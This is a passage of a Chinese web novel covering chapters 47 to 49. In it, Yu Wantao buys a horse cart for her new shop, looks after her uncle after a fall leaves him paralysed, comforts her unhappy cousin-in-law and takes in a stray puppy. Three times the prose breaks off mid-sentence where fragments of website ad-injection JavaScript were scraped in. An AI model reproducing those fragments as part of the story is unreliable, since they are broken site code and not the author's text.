见人进了屋还是垂着脑袋不吭声，她在心里叹息，这书生平日里性子温顺极了，怎么生起气来这般扭着。 “家里不要别人。”，崔玉棠忽然逼近，一把攥住她手腕，动作稍显强势。 “什么？” “细柳姐，窈儿姑娘都比我重要，你的生意也比我重要。”，崔玉棠红着眼睛，极力克制着外泄的委屈:“我明明是你的相公，可是我一点也不重要，你把我忘在了家外面。” “要是家里没有别人，你就不会忘记我了。” “崔玉棠。”，余晚桃蹙着眉心，严肃道:“你得知道，我不是你的附属，不管有没有别人，怎都不会只围着你转的。” 她见这书生一副要哭的模样，才收起了严肃，柔声去哄他:“这件事确实是我疏忽了你，我与你赔罪，你有甚要求，不过分的我都答应你。” 崔玉棠闻言，立刻忘了委屈，漂亮的眼珠子转了转，他俯身下来，亲了下对方的脸颊，小声说:“我想圆房。” “……”，余晚桃推开他的脸，面无表情道:“这个过分了，算不得数。” “怎就过分？” 余晚桃瞪圆眼，古人真是恬不知耻！ 她才十六！ “等你考上状元了，我们再圆房。”，余晚桃给他画了一个大饼。 崔玉棠登时垮下脸，三年一会试，下一次会试在两年后呢，而且状元岂是这般好考的，又不是烤番薯，扔进灶里翻翻面就成了。 见他脸色奇差，余晚桃反问他:“怎么，你不打算考状元？” “我考的！”，崔玉棠忙点头，没甚么底气地补充:“自是要考的。” “我就知道二郎最厉害了，小小状元，不在话下。”，余晚桃踮脚，在他下巴处亲了一下，握住他的手放嘴边哈暖气，“走，出去烤烤火。” 崔玉棠红着脸:“不烤火，要烤状元。” 47. 水饺 要考状元的崔二郎，当真是拿出了十二分的毅力，次日天没亮，就掌了灯，裹着棉衣去院里读书。 读着书也不忘伺候自家娘子，早早烧了灶，等人睡醒就端着热水进屋去，连巾子都亲自拧湿了递过去。 “想吃甚么早食？” 余晚桃拿牙粉洁了口，脸颊被热巾子敷着，红润润的，“从家里带了一些吃的过来，都放灶房那两面大柜子里了，你看着做吧。” “行。” 崔玉棠转身去书箱里翻了翻，找出自己的钱袋来，悬在腰带上，又从里拿了一锭银子和几两碎银出来，“这是卖了那块徽州墨和平日里抄书攒下来的银子，应该够买马车了，在县里做生意，自家里有辆马车应是会方便许多。” 余晚桃这会确实正缺钱呢，她把银子收好，弯着眉眼问他:“你们书院几时放假？” “许得到冬至后。” 冬至后，那会应是下大雪了。 “你书院里的棉被够厚吗？等下了雪怕是更冷，我记得初时带过去的棉被是单层的，算不得多厚。” 余晚桃起来穿上棉衣，在外面又套了一件旧褂子，免得等会干活把棉衣弄脏了。 崔玉棠取了条兔毛缝制的围脖给她戴上，仔细周整好，才道:“我寻个时间再去请人缝制一张厚棉被就是，这些小事哪里烦你来操心。” 许是入了冬之后吃得好，余晚桃这般模样站着对人笑，整个人都泛着精神气，眼眸更是明亮，被兔毛围脖浅浅圈着颈子，衬得脸颊圆呼不少，气色也十分健康红润，比从前白了许多。 崔玉棠手指动了动，落在她的脸侧，将那一撮散下来的发丝绕到耳后去，径自道:“今儿吃水饺吧，白菜鸡蛋馅的。” “成呀，多做些，等会窈儿要来咱家帮工的。” 二人一道出门去，往灶房那边走，却见小细柳已经窝在灶膛外，前面放了一个小簸箕，几根玉米，边烤暖边剥玉米。 “今儿吃玉米粥吗？还是二郎要掌勺？”，小细柳问。 “二郎说做白菜鸡蛋馅的水饺呢，天这么冷，我可不和面。”，余晚桃盈盈笑着，搬了小板扎来同小细柳一起挤在灶膛边，脸蛋教火光映得黄哟哟的。 小细柳往旁边让了些，说:“再多加个玉米馅的吧，正好剥了玉米，我原本还想煮粥呢。” “家里没鲜猪肉，趁着天早，我去割几斤回来。”，崔玉棠回屋里披上大氅，对着灶房那边喊了一句，就从院子后门出去了。 在县里住着确实方便许多，这朝去肉市，走过两条街道便是了，且早上的猪肉都新鲜着，都是刚宰杀出来的。 崔玉棠选了上等的梅花肉，见肉摊架子上吊的腊肠实在诱人，便多买了两吊子，他买完肉回到家的时候，见灶房里多了个姑娘在那说说笑笑的，便知道是窈儿来了。 灶房里够大，三个人围在灶膛边，崔玉棠都能在一处周展开，他先是把腊肠蒸上，又揉了面团醒着，然后开始剁肉，调馅，等两种馅调出来，面团也醒好了。 铁锅里烧着水，饺子捏完一托就往里放，等第一锅饺子漂浮起来的时候，第二托也捏好了。 水饺便是带着汤吃的，崔玉棠拿白边海碗出来各放了一勺菌菇辣酱，每个碗里舀上十二个水饺，再将蒸好的腊肠拿出来，一个碗里放一根。 “这腊肠闻着味还怪香的，是熏制的吧？”，余晚桃过来帮着端碗。 崔玉棠一手一碗端出去，“许是吧，去买肉的时候见那摊子架上吊着一些，看着不错，就买了些回来，临近年关，这种干货倒是挺多的。” “这朝买来吃着过过瘾好，但多了就费不着那个钱，咱们村里年年都会杀年猪，到时候买半扇回来自己做熏腊肉和腊肠，能吃一整年呢。” 小细柳在堂屋里摆好桌椅，底下放一个火盆，坐上桌后暖烘烘烤着脚底。 几人围着桌吃早食。 余晚桃咬了一口腊肠，肉质紧实，还带着些调料香，“是咸口的，咱自家做，可以灌些辣口的。” 小细柳道:“村里人都爱吃咸口或者甜口，少见有人做辣口的，听说川府那边才爱吃辣油油的那款子。” 窈儿喝了一口热汤，微微睁大眼:“我也听嬷嬷说过，川府那边的人顿顿都要吃辣子，连炒个菜心都要放辣子，那肠胃都不知得多遭罪。” 余晚桃笑了下:“人家从小就这么吃的，都习惯了哪里还会受不了。” “我反正是吃不得太多辣子，吃多了脸上都会长脓疮的，会留疮印子，珍珠粉都敷不住，可丑了。” 三人说着话的间隙，崔玉棠已经将自己碗里的水饺吃完了，他端着碗去下第二锅，也未再出去，而是坐在灶房里，从怀中拿出一本书，边吃边看。 吃完了早食，他就回屋去练字了。 余晚桃撑着吃完了最后几个水饺，在院里来回走了好几趟才消了食，等小细柳洗了碗，收拾好灶头出来，几个人合力将蚌壳全部搬出来。 打磨蚌壳是个精细活，须得照着几个画好的样式来，且不能将彩色那面磨掉，得仔细再仔细。 一个上午时间，才磨了小半。 晌午吃了饭继续打磨，崔玉棠练完了今日的字，也出来帮忙，打磨工具就只有三副，余晚桃把位置让给他，自个进了屋子，开始按照产品系列画设计图。 绒花品多种多样，又主要以首饰、工艺品为主，首饰按照季节盛行的花种来设计簪体样式，还有云纹、绿柳、缀珠、星月系列等，一些简易的雕花木簪也可以备上，专门迎合低消费群体。 绒花工艺品的可设计性就更大了，各种动物，祥瑞神兽，再加上一些带神话性质的摆件设计，届时与县里时兴的画本子老师和说书先生合作，先编造几个神话故事出来，等风靡起来了，就在铺子里推出同款绒花品。 画了一下午设计图，余晚桃腕间酸疼，她搁了笔，起身出去活动身体，见天光大好，院里打磨蚌壳的工作也接近尾声。 藤编的篮子里堆着满满的，流光溢彩的珍珠花瓣等各种形状的蚌壳片，拾了一颗起来摸着表面光滑，细嗅下还有淡淡的花香，并无一丝腥味。 不枉费先前花了这许多的干花瓣去浸泡入味。 过了几日，锦庄那边派人将契书上约定好的蚕丝送过来，全被堆进了铺子放货物的阁楼里。 前期铺面和原材的筹备工作做完，接下来便是准备积攒库存。 窈儿将她那支绿柳流苏簪以二百文卖了出去，算是正式出师，余晚桃也如约把当时要留作出师礼的梨花簪赠与她，至此便开始跟着做一些简单的簪式。 辛苦忙碌了大半个月，到了十一月底，余晚桃终于得空，去牲畜行买马。 成年健壮的家养马一匹要七八两银子，捎带车厢的话便不止这个价，一连问了几家下来，余晚桃有些犹豫了。 买牛要比马便宜许多，五两银子就能买到一头牛，可是她家里又没耕田，买牛有些浪费了，况且牛确实没有马匹跑得快。 她皱眉盯着前面一匹棕色的骏马:“老板，你这马看着眼球淡，喷气也没力，不像是健壮的呀，莫不是有甚肠胃问题？” 马贩子闻言觑着这小娘子，横声道:“你不懂马可别乱咧咧，你瞅瞅这边的马粪多好，吃的全是好草料怎可能是肠胃有问题，我这马啊养久了，跑得快，拉货也多，八两银子已经是卖亏了。” 余晚桃皱眉往后退了几步，拿帕子掩着口鼻:“我可是走了一圈下来，人家捎带了车厢的才卖八两，再说了，这县里谁不是久住着，家养马是甚么价都心里门清着。” “您也别同我横声，那锦庄的祝东家与我家铺子有合作，可是同我说过的，他们铺子里运货的马也是跟这买的，一匹六两银子，不带车厢。” 马贩子气势低了许多，但仍旧嘴犟着:“那是甚么马能同我这比？” 余晚桃只笑了笑，觑他:“锦庄那样的铺面，买的自然是顶好的马。八两一口价，你带上车厢与我，我即刻付钱，若不行便算了。” “你多少再让与我一两啊，这没得赚了。”，马贩子拉着一张苦瓜脸。 “不成不成，就八两，带车厢。”余晚桃态度坚决。 “这价真出不了。” 余晚桃转身便走，待走了有几步，身后才传来那马贩子不甘不愿的声音，“哎哎哎小娘子，我卖与你就是了，八两就八两，捎带你一个车厢！” “再送些草料。” “行行行，真是没见过你这般难缠的小娘子，”，马贩子一边嘀咕抱怨着，一边把马牵出来，摸摸马鬓，把车厢套上去，顺手扔了条马鞭在驾马的木板座上，转身去抱了两捆干草料出来。 余晚桃给了马贩子八两银子，跳上马车握着马鞭有些跃跃欲试，她扬声问:“我头次驾马车，有哪里需要注意的吗？” 马贩子对她摆摆手:“我家马温顺得紧，你头次驾马车就别使鞭子，拽着缰绳慢慢走就是。你说你一个小娘子出来买马车，也没个汉子跟着。” 余晚桃不以为意，若是单骑马，她是不敢的，可这朝是套了车厢的，底座矮了一半，她跳下去便能着地，又不 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 高，心里恐惧自然便少了许多。 从牲畜行回到铺子，余晚桃适应良好，基本掌握了驾马车的方法，正巧今日准备回村，她也是个胆子大的，也不怕摔着，自个赶着马车就上路了。 乡道颠簸许多，她一路上紧紧拽着缰绳都不敢松手，直到进了村口，才敢放松紧绷住的肩膀。 这会正是到处去串门子的时辰，余晚桃驾着马车回来的消息没一会就传遍了整个村子，稀罕得个个都跑过去看。 健壮高大的马就拴在院外头，甩着马尾，低头吃草料，旁边还放着一顶阔气的车厢。 “不得了了，这桃子真是赚了大钱，不止在县里买了铺子，都用上马车了。” “呸，有甚用，也不见拖带村里人挣银子。”，说话的是余贵家那儿媳妇。 村里人谁不知道她们两家的龃龉，这话头一出，没几个接她话的，都攀着打好这层关系呢，谁会在这兴头上同余贵家的说人坏话。 心里没个成算的，活该穷。 林小秋白了那处一眼，故意大声道:“谁说桃子没带村里人挣钱了，我们家的蔬菜大棚还是桃子教的呢，今年可挣了不少银子，再说村里养蚕的几户，不也是靠着桃子的关系才把蚕茧卖出去的。” “有些人就是不知足，生生是想着人家桃子把钱捧到你手上，管这叫拖带呢，也不知道哪来的脸皮。” “秋嫂子——”，余晚桃站在院里，全然不顾其他人，只招手喊她:“快进来坐坐，家里烤着火盆呢，外面这冷的天，还碎个嘴子站别个屋外头酸牙嚼舌，怪好笑的。” “是哩，怪好笑的。”，林小秋哼了一声，大摇大摆进了半开门的院里，砰地关紧门，直接上了木闩。 她一屁股坐下，将手从棉袖里伸出来，举到火盆上烤着:“那余贵家的几个真是见不得人好，非得嘴贱几句。” 余晚桃笑了下，拍拍她手，“嘴长别个身上，哪里管得人家过来。” “是这理，欸你家里铺子都弄好了？我可真想去瞧瞧。”，林小秋眼眸透着亮。 村里没几户有这本事去县上置办铺子的，有了铺子，怎的也是个小老板了，比他们地里刨食的不知道好多少倍。 “都准备好了，等开春了，铺子开业时秋嫂子可要去瞧瞧热闹？”，余晚桃从火盆里扒拉出几个烤得软乎乎的番薯。 林小秋抿着嘴:“你就是不与我说，我也是要去的。” “对了，没几天就是冬至了，每年过了冬至庆叔家都会杀年猪。”，她提醒说:“你要是买得多，得提前与庆叔说好，让他把肉留出来，不然全给预定了去，剩下的都是些零零散散的部位。” 余晚桃捧了一个烫手的番薯剥皮:“我打算买半扇回来熏腊肉腊肠呢。” 林小秋也拿了个番薯起来，“那可更得早些言与庆叔知晓。” 余晚桃嗯了一声，眯着眼吃软糯香甜的烤番薯，满脸享受，冬天与烤番薯真真是绝配，一个吃下去又顶饱又能暖身子。 两人坐着说了会话，却听院门外头猛的拍响，一阵阵的令人心惊，仿佛是有人在砸门似的。 余晚桃蹙紧了眉头，起身去开门。 门甫一打开，李氏就冲了进来，死死拽住她手，话又急又断续，眼里头红通通的。 “舅母？” “桃子啊！刚县里来人说你舅舅去码头做工出了事，让人送医馆去了，这会催着去交钱呢！” 李氏说着便咒骂起来，骂自己李家一门子寡妇命，是遭了天老爷诅咒，骂着骂着就去推余晚桃，声音颤抖:“你不是赚了大钱嘛不快去把钱拿上救你舅，他可是你亲舅舅啊！” 余晚桃怔了片刻，把自个手臂拽回来，看着李氏冷静道:“银子我身上有，那来人可有说在县里哪一家医馆？” “说是最大那家，在西街。”，李氏站不住，两条腿都在抖。 林小秋忙去扶着她。 真不知道平时里恁泼辣的一个人，骂老根叔骂得最狠，动起手都是常有的事，这会老根叔出了事，却这般慌神。 余晚桃跑去隔壁找了余天庆，一得知消息，便立马带上了家里银子，驾着她新买的马车往县里赶。 他是老手，马车驾得极稳当，鞭子使劲甩了几下，马一扬蹄就飞奔出去，很快便赶到了县里。 一踏进医馆里便闻着浓浓的血腥味。 余晚桃问了大夫，得指着往陈老根的小隔间去，掀了竹帘子进去，里头没个人守着，陈老根自己躺在木板上，闭着眼昏迷着，身上衣服全是血，生死不知。 48. 第 48 章 饶是李氏再泼辣恶毒，也是个乡里妇人，哪里见过这等血腥的场面，一踏进隔间里就瘫倒在地，不敢再往那处多看一眼。 “怎没个大夫处理？”，余天庆沉着脸掀开竹帘子出去，很快便揪着一个老大夫和药童过来。 老大夫瞪着他道:“这人伤得重，又没个亲人在旁边，堂主都怕把人治没了挨赔钱，这才撂这等着他家里人过来。” “你个黑心遭烂肺的！人都送你医馆了不紧着救，若我男人出了啥事，我一条白绫吊死在你医馆门口信不信！”，李氏听了老大夫的话就骨碌爬起来，浑身瞬间来了力量，尖着嗓把人骂个狗血淋头。 “你这妇人怎这般不讲道理的，你——” “别说了，先救人。”，余晚桃冷声打断老大夫的话，她看了李氏一眼，说:“舅舅这情况，还不快去将表哥找来，万一真有甚么事，也好支应着。” 剩下的话她没说，但在场的人都明白。 若真有甚么事，陈文祖作为老陈家唯一的儿子，怎么都要让人见上最后一面的。 李氏这会终于想起自己儿子，她神经质地念叨了几句，就跑了出去，眼里一下充满了希望。 “先出去吧，我给伤者处理伤口。”，老大夫将小隔间里二人赶出去。 余晚桃在药堂里站了片刻，凌乱的思绪终于冷静下来，她来到柜台前，寻了小药童来问，才得知陈老根是给县里一户老爷的宅院上瓦，从两三层高的檐顶砸下来，地上散着许多瓦片，导致砸下来时割了口子，伤上加伤。 “小童可是那是哪户人家？可有留下甚么话？” “应是姓金，听送伤者来的那个小厮喊的就是金老爷，话是没留下，人送到便走了。” 余天庆听出猫腻来，他皱眉道:“怕是个不好相与的，人在他院里出的事，却只遣了小厮送来医馆，连救人的费用都不曾给，摆明了不想负责。” “知晓了门户便好。我明日托人去寻一下与舅舅同在那户人家帮工的汉子，问清楚当时的情况。”，余晚桃心里忧着事，只觉着脑子里阵阵发疼，这一遭实在是太突然了。 陈老根是原身唯一在世的亲人了。 她在感情上并无太大波澜，可血缘亲紧，她自幼失怙，得陈家抚养几年，虽有薄待，但养恩终究压在上头，这层牵绊难以撇清。 “别担心，老根半辈子没做过恶，这遭定福大命大，不会教地底下收了去。”，余天庆见她神色实在难看，便轻声安慰了两句。 到底是见多了事的，又是长辈，余天庆声音冷静，高大的身躯站在药堂里，无端给人一种可靠感，教人不至于没了头绪，慌了神去。 小隔间那道竹帘子过了许久才掀开来，老大夫提着一包被血浸湿了的衣服出来，抚着花白的胡子，微微松了一口气。 他递了药方子让小童立刻抓了药去煎，才看向堂里站着的两人，问:“你们是伤者的家里人？” “嗯，他是我舅舅。” 老大夫重重叹了一声，与她道:“高坠下来，正正摔伤了腰盘骨，又让瓦片割破了好几道口子，眼下人我是给你们救回来了，可……以后怕是不成行了。” 余晚桃怔了一下:“什……什么意思？” “就是成了个瘫子，后半生都得在床板上教人伺候吃喝。” 他暗自摇头，农户人家里顶门立户的汉子，成了个不能动弹的瘫子，真是倒不如死了干脆，就这般，活生生拖累家里人，活得也憋屈。 这十二月里的天儿，寒意钻骨，冷到人心里头去了。 余晚桃缓慢地眨了一下眼睛，回小隔间里守着人。 李氏去喊陈文祖久未回来，余天庆便自己寻着路往青山书院去，这一去，又是许久。 戍时末，两人才回到医馆里来。 李氏失了魂似的，眼睛红肿得厉害，一看便是知晓了陈老根的情况，哭过许久了的，她楞楞坐到床板边去，沉默着给陈老根掖紧了棉被。 陈老根面色惨白，仍未有要醒的迹象。 余天庆打了一碗肉糟子饭回来，他轻声将余晚桃唤出去:“这一天都守在这，你也累了，我给你打了碗饭回来，快趁着热吃。” 余晚桃实在没胃口，可也应了话，支了块木板过来，蹲着吃，她转头看了一眼小隔间，眉心蹙起:“陈文祖怎么回事？” “人是见到了，但喊不来，说书院里正值年底岁考，这成绩关乎着明年县试。你表嫂倒是知晓了这事，说明早就过来探望，这会太晚，不好出门。” 外边天都黑沉了，医馆静幽幽的，只有几根烛火昏昏点着。 余晚桃吃了饭，起身道:“今儿一整天得亏庆叔帮忙奔波了，眼下天也晚了，您先去附近客栈落一宿吧，这医馆里甚都没有，我还得跑铺子里一趟，拾些被褥厚衣来。” “县里夜间酒蒙子多，哪能让你一个小娘子独自出去，我同你一道把东西取回来，再去客栈。” 余晚桃应了一声。 两人赶着马车去，快去快回。 东西拿过来后，余天庆顺道驾着马车去客栈那头了。 医馆里只剩下余晚桃和李氏，她二人向来不对付，如今自然也没甚温情诉。 余晚桃在床板边搭了个简易的床，疲惫地捏了捏山根，轻声道:“我先睡会，下半夜换我来守。” 说罢便阖上眼，绷了一天的弦总算能松懈下来，好生歇息一阵。 李氏死死盯着她，咬着牙也不知与谁较劲，最后视线落在生死不知的陈老根身上，那口气却是一下子泄了，撒了半辈子的泼，这一刻却有滔天的悔恨情绪涌上来。 下半夜，李氏非要自己守着人，不肯去睡。 余晚桃无从得知她枯坐一宿不肯睡觉，心里头究竟在想什么。 翌日醒来时，床板上昏迷了一夜的人终于醒了过来，李氏端着碗热水，蹲在床板边喂他喝水。 余晚桃快速去医馆后头洗漱了一下，把床铺被褥收起来，拿了昨儿开的药在炉子里煎。 等药煎好了端过去，陈老根眼见的恢复了一些精神，能吃下小半碗米汤。 “舅舅，喝药了。” 陈老根脸色很差，惨白脱皮的嘴唇刚教热水润了润，灰蒙蒙的眼珠子有这些生气，他张着嘴巴无声啊了几下。 李氏偏头擦了眼泪，才轻轻帮他顺着胸口。 “桃……” 陈老根嘶哑的喉咙里冒出微弱的声音，听得不真切，李氏从余晚桃手里拿过药碗，瞪着他骂:“老娘守了你一夜，你醒来就找外甥女，我嫁给你这么多年，在你心里是没落着一点好，没良心的畜生。” “嗬……嗬……”，陈老根挣扎着想要坐起来，结果却发现下半身毫无知觉，他一下抓着李氏的手，着急地张着嘴巴。 “刚从恁高的地方摔下来，能捡回一条命就不错了，喝药！”，李氏嗓门嚷得大声，喂药的动作却很轻柔，将陈老根的脑袋搁到自己大腿上，小口小口的喂他喝了那碗药汁。 重伤未愈，陈老根精力有限，很快便昏昏沉沉地睡了过去。 余晚桃把李氏喊了出去，与她道:“我压了几两银子在医 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 馆，后边医馆不会再过来催缴药钱了。但舅舅是在金老爷那帮工才出事的，他逃不了责任。” “等会表嫂会过来探望，你与她好生说说，莫张嘴就刺人，表嫂娘家里是秀才门户，只有她才能帮我们威慑到那金老爷，如今舅舅这般情况，只能多争取一些赔偿，往后的日子才能松快些。” 李氏一夜未睡，这会憔悴得很，她深深望了余晚桃一眼，似是想说句什么，话到喉咙口又被堵了回去，最终只无声点了头。 余晚桃也无暇顾及她的欲言又止，出了医馆就去了慈济堂。 这些天窈儿每日都会去铺子那边做簪，备货，今日也是如此，只是这头遭乱事还没解决完，她只能把铺子钥匙给了她，让人自个过去了。 从窈儿那处出来，余晚桃去打听了一下金老爷的宅院地址，去了附近瞧，见竟然还在施工，简单立着的竹架只铰了草绳子固定，人踩在上面底部摇摇欲坠的，偏偏架子竖得极高，有二层楼不止。 边上还有个管家模样的人在监工。 余晚桃并未打草惊蛇，去面摊打了两碗葱油拌面和一碗肉糜粥就回医馆去了。 医馆里正午时歇休，药堂子挤了许多人，余晚桃打眼瞧去，全是村子里的叔伯婶子，余村长在里头同李氏说着话，药堂里气氛沉重，没一个人喧闹出声。 余晚桃走过去，拨开几人，丁婶扭头见她，立马凑了过去，关切道:“桃子，你没事吧？” “我好好的呀，这……怎么都来了？” 丁婶唉了一声，说:“村里人都听说了你舅的事，就过来瞧瞧，也凑了些银子，大家都是同个村子里的，能帮一点是一点。” 余晚桃听了这话，很难不酸涩了眼眶，心脏里头像是被人紧紧揪着，不疼，却涨得难受，大概人类选择群居的意义就在于此吧。 小隔间里谈话停止，余村长很快出来了。 他见余晚桃在，摇着头重重叹了一声:“出了这么大的事，里里外外都是你这个外甥女在操持着，陈文祖作为家里的长子，却面都没出现过一次，到底是靠不住，读书读书……把仁义孝道都读没了！” 余晚桃扶着他在一边椅子坐下:“天这么冷，还劳您跑这一趟。” 她面向诸位乡亲们，弯下腰来，声音诚挚:“桃子多谢各位叔伯婶子的好意，等舅舅身体好了，定会登门致谢。” “都是自家人，平白说些客气话作甚。”，丁婶红着眼睛扶她起来。 医馆里进进出出的病患多，大桑村的村民们不合适久待，平白占着药堂的地，没一会便回去了。 余晚桃进了小隔间，与往外看的李氏正对上视线，她把手上拎的食盒搁到矮桌上:“舅母也在这守了许久，先吃些东西吧。” 陈老根的精神头比早晨好了些，这会醒着，冲余晚桃咧了咧嘴，“桃子，吃……吃没？” “我吃了才过来的。”，余晚桃笑着坐到床板边去，“舅舅安心在这养伤，其他的不用担心。” 陈老根瞬间红了眼眶，忍着身上的疼痛道:“舅舅不中用了，只怕拖累了你们。” 余晚桃宽慰他:“舅舅莫要乱想，只要人还在，就是天大的幸事了，我也就只有您这一个亲人了。况且您若是有个好歹，让舅母怎么办？一个寡妇的日子多难过您是知道的。” 陈老根如何不知这些，一朝死里逃生，睁眼到现在也没见自己儿子来看一眼，心里早就有了成算。 “爹，婆母。”，一道轻细的嗓音突然响起，紧接着竹帘子被掀开，围着厚披风的苏仪儿，低头走了进来。 49. 第 49 章 李氏抬头看了她一眼，不冷不淡道:“亲家公怎么说的？” 苏仪儿解了披风，给身后的丫鬟拿着，小声回:“爹爹说了，会亲自去找金老爷处理，家公在他府上出事，他怎么都推脱不了关系的。” 李氏嗯了一声，就不搭理她了。 陈老根捂着胸口咳嗽了一阵，虚弱道:“你娘就这性子，别理她就是。” 李氏扭头瞪了他一眼，“要你多嘴甚？” 苏仪儿垂着眉眼，没说其他，过了会小厮提了几个礼盒进来，她拆了一些出来，让药童拿去煎。 余晚桃笑了下，把边上的长板凳挪过来，拉着她一同坐过去:“这都是补血的药材吧，还有参条子呢，表嫂有心了。” 苏仪儿点点头，眼里愁绪深重，对着余晚桃欲言又止。 知她顾及着舅舅夫妇，余晚桃便与她一道出去透气，二人站在医馆的瓦檐边，看着远处天际云团阴沉，面前行人匆匆，呼啸着寒冬腊月的气息。 “我去了青山书院一趟。” 余晚桃嗯了一声，安静等着她下文。 苏仪儿抬头看着檐角挂了铃铛，温热的液体从眼角滑落，末入了鬓发间，她匆匆抬手擦去泪痕，才继续道:“原以为远离了磋磨人的婆母，日子会好过许多，可是后来才知，若所嫁非人，往后是永无宁日。” “我都不知自己的相公是那样无情，他竟与我说……说爹死了便死，好好埋葬就是，他的岁考万万不能耽搁。一个饱读圣贤书的人，焉能如此悖于孝道。有时我也会想，就这样只过我们两人的小日子也好，可为人在世，真的可以把这些亲情缘分都舍弃吗？这是对的吗？” 听苏仪儿这般说，余晚桃心里也不好受，她不知这段婚姻里是否有自己当初掺一脚的原故，只是愧疚袭上心间，无法坦然置身事外。 “这日子如何过，还要不要过，表嫂只管问自己的心意，莫受世俗规条拘束了。”，余晚桃劝她:“当断不断，反受其乱。” 苏仪儿心里其实是有答案的，只是不敢轻易做下这个决定，毕竟一个和离女，既不得娘家支持，又要被世人指指点点，如何活得下去。 她在家中虽得疼爱，可到底是秀才门第，父亲怎会让底下的儿女们和离，去污了家中门楣。 “下雪了。”，苏仪儿喃喃道。 眼前恍然而过丝缕雪白，余晚桃下意识眨了眨眼，她微抬起头，昏沉的云层冷寂低垂，俄顷间，空中便飘起雪花来了。 余晚桃拢紧衣领的兔毛围脖，“表嫂快些回家去吧，这朝下了雪，积深了马车该不好走了。” “可公爹这得有人看着，总不能一直是婆母和你在这里守着，要不我留一个小厮下来，照应着些吧。” “也好，我也得回家去了。”，余晚桃回头看了一眼医馆，心中想:替原身尽孝，做到这一步，她已然无愧于心了。 苏仪儿一走，余晚桃也准备回去，她知李氏一天一夜没休息了，只能等陈老根睡去后劝她:“表嫂留了小厮下来守夜，舅母今晚好好睡一觉吧，不然这么熬着，连你自个的身子也垮了，往后谁来照顾舅舅。” “你要走就走，我用不着你管。”，李氏坐在床板边，冷着脸色道。 余晚桃确实不是很想管她，对守夜的小厮交代完，就转身出了小隔间，往酒儿巷去。 下了雪，街巷两侧的摊贩都忙着收摊，各自行色匆匆，擦肩而过。 余晚桃轻轻呼出一口白雾，紧着步子赶回家去，行过一处关门避客的酒馆子时，却突然听着几声细碎的呜咽。 她顿住身形，往那处走了几步，借着昏光，俯身一瞧，竟是只小黑狗瑟缩在装潲水的大桶旁边，浑身脏兮兮的，看上去似是活不成了。 余晚桃左右看看，确定了是流浪的野狗崽，才弯腰用披风将奄奄一息的小狗崽捞了起来，快步往家里走。 小狗也知道往温暖的地方钻，呜咽着团起身子，伸出舌头去舔余晚桃的手背。 “小黑狗，你要是命大熬过了今夜，就留下来给我看家护院罢。” 余晚桃轻轻笑了下，在小黑狗的脑袋上点了点，今年冬头一场雪里就叫她遇上了，也算是缘分。 回到家，余晚桃把小黑狗带进灶房里，扭身去掌了油灯来，点火把灶膛烧得暖烘烘的，等锅里热水烧开了，就取了小盆来，用温温的水把狗崽洗干净，再拿布巾包起来搓干水分，放在掌心里举到灶膛前面烤暖。 估计都没一个月大，一只手都能圈住。 等小狗崽身体回暖了，余晚桃才简单煮了一碗面条，从锅里另分了一小碗出来，把面条捣碎了些，放到它面前去。 小狗崽伸着脑袋在碗里嗅了嗅，挣扎着站起来埋头进去嗷嗷吃了起来，时不时发出呜呜的声音。 能吃，就是能活。 余晚桃端着面条吃，认真想了想，对小狗崽说:“见着你时实在可怜，便想着救你一命，也算为家人积福，以后就叫你平安吧，余平安。” “汪。” “平安。” “汪~”，平安蹭蹭脑袋。 这个夜里，余晚桃梦里都能听到余平安汪汪地回着话的声音，好似它真的听懂了一般。 翌日起来，推窗瞧去，外头白茫茫一片，地面积了层薄薄的雪，余晚桃穿好衣服去井里打水，碰着刚吊上来的水，指节乍寒，好似冻到骨头里去了般。 她叹了一声，提着水去灶房里烧。 昨儿在灶膛边搭的狗窝拱起小小一团，许是知道外边冷，平安睁着圆乎乎的狗眼，汪汪叫着，整个身体都埋在窝里不出来。 趁灶上水还未烧滚，余晚桃匆匆出门去买了一只现宰的老母鸡回来，准备炖些鸡汤拿去医馆那边给陈老根补补。 她提着鸡回到家时，窈儿已经在灶房里逗平安玩了，见她回来，立时扬起笑脸来问:“这小黑狗哪来的呀？” “昨儿从医馆回来时捡到的，那会正下着雪呢，就听得它在这呜呜地叫着，怪可怜的。”，余晚桃进屋去脱了兜帽大氅，换上旧棉衣，翻出一些干枣子出去，把鸡剁了用砂锅煲上。 窈儿噢了一声:“你舅舅如何了？” “在医馆治着伤呢。”，余晚桃将顺道买回来的猪肝切了拿姜汁水腌着，另一锅淘米下去煮着粥。 她问:“你这两日怎么样？做得可顺手？” 窈儿开心地点头，说道:“多做着便上手了，做好的成品我都放在库房里呢，晚桃姐姐，你今日还要去医馆吗？” “不急着去，等会先备货，等晌午鸡汤熬好了，我往医馆那边送一趟就回来了。” 眼下距离开业只有一个多月时间了，若到时备货不足，只怕要延期。 “嗯嗯，有你在指点着我，我肯定能做得更快的。” “小工的事你可帮我问了？”余晚桃从大木柜里取出瓷碗和羹勺。 “我来洗罢。”，窈儿自告奋勇拿了碗去洗，边舀热水边应道:“说了呀，她们都很愿意的，人还有些多了呢，只端看你如何选。” 余晚桃瞧着锅里的粥差不多了，就将猪肝倒进去，放些盐和油，搅拌着些许粘稠了，最后撒一把葱花。 “慈济堂里的姑娘你熟，人选你来定就行，先挑选四到五个做事伶俐，嘴又甜的，工钱暂定是三百文一个月，前期只能在铺子里当小童，后面手艺学出来了，自个挂了名， (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 能单独做簪了，就从卖出去的件里拿分成。” “嗯嗯，那我回去便说与她们听。” 猪肝粥成吃了，余晚桃舀了两碗出来，然后把平安的狗碗冲洗干净，倒半碗粥进去放外头，等变温了才放到狗窝前面。 平安四肢扒拉着从窝里钻出来，舔舔余晚桃的手掌心，用脑袋顶着碗往窝外面挪了挪，才开始吃。 “这小黑狗还挺爱干净的。”，窈儿看得有趣，喝着粥，拿手指去敲它脑袋，“它有名字了吗？” 余晚桃笑了下:“平安，就叫余平安。” “平安。”窈儿琢磨着这俩字，说道:“这名字起得恰当，寓意好。” “汪汪汪~”，平安摇着尾巴，冲窈儿叫了几声。 小狗崽子，叫起来嫩生生的，很活泼。 “平安聪明，一叫这名就知道是在喊它。”，窈儿被它逗得捂嘴直笑，粥都不喝了就与它玩起来。 